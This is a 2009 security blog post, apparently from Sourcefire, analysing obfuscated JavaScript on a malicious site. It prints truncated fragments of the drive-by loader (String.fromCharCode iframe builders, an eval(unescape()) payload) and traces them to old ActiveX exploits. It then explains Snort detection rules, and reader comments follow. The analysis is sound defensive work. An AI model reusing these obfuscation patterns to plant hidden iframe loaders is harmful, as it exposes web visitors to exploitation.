Tuesday, February 24, 2009

Detecting Silly Javascript Obfuscation Techniques

Last week I got an e-mail from Edward Fjellskål, Senior Security Analyst at Sourcefire's new Norwegian partner Redpill Linpro. He'd run across a strange piece of obfuscated Javascript at hxxp://bizoplata.ru/pay.html (WARNING: CONTAINS LIVE MALWARE), and he wanted to know if I could figure out what exactly it was doing and whether it was indeed malicious.

A quick wget of that URL gave me Javascript that was clearly trying to hide something:


document.write(''+'<ifr'+'am'+'e '+String.fromCharCode(105)+String.fromCharCode( 100)+String.fromCharCode(61)+''+'"7'+'4f'+String.fromCharCode(52)+''+unescape('% 32')+'5'+'c'+unescape('%30')+unescape('%65%65%39')+unescape('%32%62')+String.fro
mCharCode(52)+String.fromCharCode(56)+''+'992a'+unescape('%65%33%62')+String.fro
mCharCode(49)+String.fromCharCode(56)+String.fromCharCode(99)+''+String.fromChar
Code(49)+String.fromCharCode(53)+String.fromCharCode(52)+''+'78'+String.fromChar
Code(98)+String.fromCharCode(97)+String.fromCharCode(34)+String.fromCharCode(32)
+''+String.fromCharCode(110)+String.fromCharCode(97)...


The question at hand, though, was what this nasty little piece of Javascript wanted to send my way at the end of the day. That's where a handy little tool called Malzilla comes in handy - it's basically a GUI front-end to SpiderMonkey, a C-based implementation of Javascript, along with some nifty features for following redirects, tweaking User-Agent strings and stuff like that:

Malzilla

I loaded the URL up in its main window, hit "Send script to Decoder", and then in the Decoder tab, hit "Run script". Out came the source for a trio of 1x1 pixel iframes, each pointing to different files on the bizoplata.ru domain. Hmmm, that's no good...

Loading up each of these three new URLs, I soon found myself playing a game of "how far down the rabbit hole can we go?", as their source was full of Javascript that pointed me to new iframes, which pointed to pages that used HTTP 302-based redirects to send me to new locations. After roughly three levels of redirect obfuscation, I finally reached the end goal - a page that contained an obfuscated version of the Microsoft Access Snapshot Viewer ActiveX vulnerability outlined in CVE-2008-2463. It wasn't exactly what I was hoping to discover - a 7-month-old ActiveX bug isn't anywhere near as fun as a fresh exploit that we could reverse-engineer and provide fresh coverage for - but clearly, it was what the attacker was using to deliver their malicious payload.

While we already provide coverage for attacks against this particular ActiveX vulnerability, via SIDs 13903-13910, I knew that those rules would be useless in the face of this particular method of exploitation, since the exploit had been so thoroughly obfuscated (an IDS would need a built-in Javascript interpreter that could dig through multiple levels of code at wire speeds in order to find this - which is unlikely in the extreme). That led to the obvious question: what could be done to help protect people against this style of exploit?

The answer is actually pretty easy: we simply detect the original JavaScript obfuscation technique. Legitimate web sites have no reason to call String.fromCharCode() more than, say, 5 times within a 500-byte space - while it's a perfectly useful function, a normal use case will be taking encoded data from a URL, database, or perhaps user input and then doing something useful with it, which will mean that you have plenty of intervening lines of code between calls to String.fromCharCode(). If some legitimate web site is obfuscating their Javascript - perhaps they're making a futile attempt to keep it proprietary - an analyst could easily follow the method I've outlined here to get to the meat of their code, and once they've determined that it's not malicious, simply ignore future alerts from visits to that web site (or better still, tell the webmaster of the offending site that they're using a technique primarily reserved for malicious code, and ask them to just de-obfuscate their Javascript).

With that in mind, a simple, fast Snort rule - SID 15362 - will do the trick to detect this attack, as well as any others that use this method of obfuscation.

Interestingly enough, when I returned to this malicious web site today to get my screen captures for this blog entry, I found that the payload had been switched up, including using a completely different style of obfuscation. The code at the web page referenced in the first paragraph here looked like:


eval(unescape('%u002f%u002a%u007a%u006e%u006d%u0065%u0078%u0067%u0063%u007a%u002a%u002f%u0076 %u0061%u0072%u002f%u002a%u0073%u0073%u006e%u0072%u006e%u006c%u002a%u002f%u0061%u0061%u0066%u0063 %u006f%u006f%u003d%u0022%u0030%u0038%u0038%u0032%u0030%u0036%u0031%u0038%u0035%u0032%u0030%u0032 %u0031%u0032%u0030%u0032%u0030%u0031%u0031%u0033%u0036%u0031%u0034%u0039...


After tracing my way through a similar set of redirects and iframes as with last week's malware, I ran across a much older, but apparently still effective, exploit - the ADODB.Stream ActiveX vulnerability from MS04-025:

Malzilla message

My first thought here was to go remind people to patch their boxes - and their grandmothers', and their crazy Aunt Millie's, and any other systems they could get access to. I mean, geez, 5-year-old exploits shouldn't be useful any more! Soon, though, I realized that I needed to be sure that we had detection for this style of obfuscation, too. It's pretty obvious how this can be achieved: by searching for calls to eval() that begin immediately with calls to unescape(), where the payload for unescape() is big. Again, there's no good reason to do this in the wild, and it's a well-known malware obfuscation technique - which means that it's worth providing detection for those who want it, even if it may generate the occasional false positive. You'll see a rule for this in today's rule release.
Add to Technorati Favorites Digg! This

4 comments:

djteller said...

You can just dump it inside a text area or even an Alert box, Browsers will interpret it on-the-fly, add a nice copy to clipboard feature and your good to go. - T

Javier Liendo said...

hi...good reading, but just wandering: isn't it a little bit like trying to play catch-up? what if the obfuscation method changes? how many javascript obfuscation methods are there?

Louis said...

djteller > the text area method can easily be defeated, and although I'm far from an JS expert I guess it's not that hard with alert(). At least, do it while "off-line" !

Javier > I don't think it is possible to list every JS obfuscation technique without being really vague. I suppose a simple rule defeating script kiddies and old script is not that bad.

Carl said...

Google Web Toolkit (GWT) is a Java to Javascript compiler that obfuscates Javascript as a matter of course. But GWT apps cannot be assumed to be malicious.

As for the futility of Javascript obfuscation, that depends upon what your goals are. If you are trying to protect information that has a high value beyond the source code that you are obscuring (e.g., passwords, account numbers, etc.) then yes, obfuscation is clearly futile, because the effort required to deobfuscate is less than the value of the protected information. However, if you are attempting to protect the source code itself, then the bar is much lower, because you only have to make it more difficult to decipher the code than it would be for the attacker to write it her or himself. With very complex source code, obfuscation may make comprehension impractical, and hence would be a good discouragement. Those with sufficient skills to understand such obfuscated code would probably prefer to use those skills on projects (or targets) of higher value. As has often been said, any door lock can be picked, and yet people still use them, and they do serve a purpose, don't they?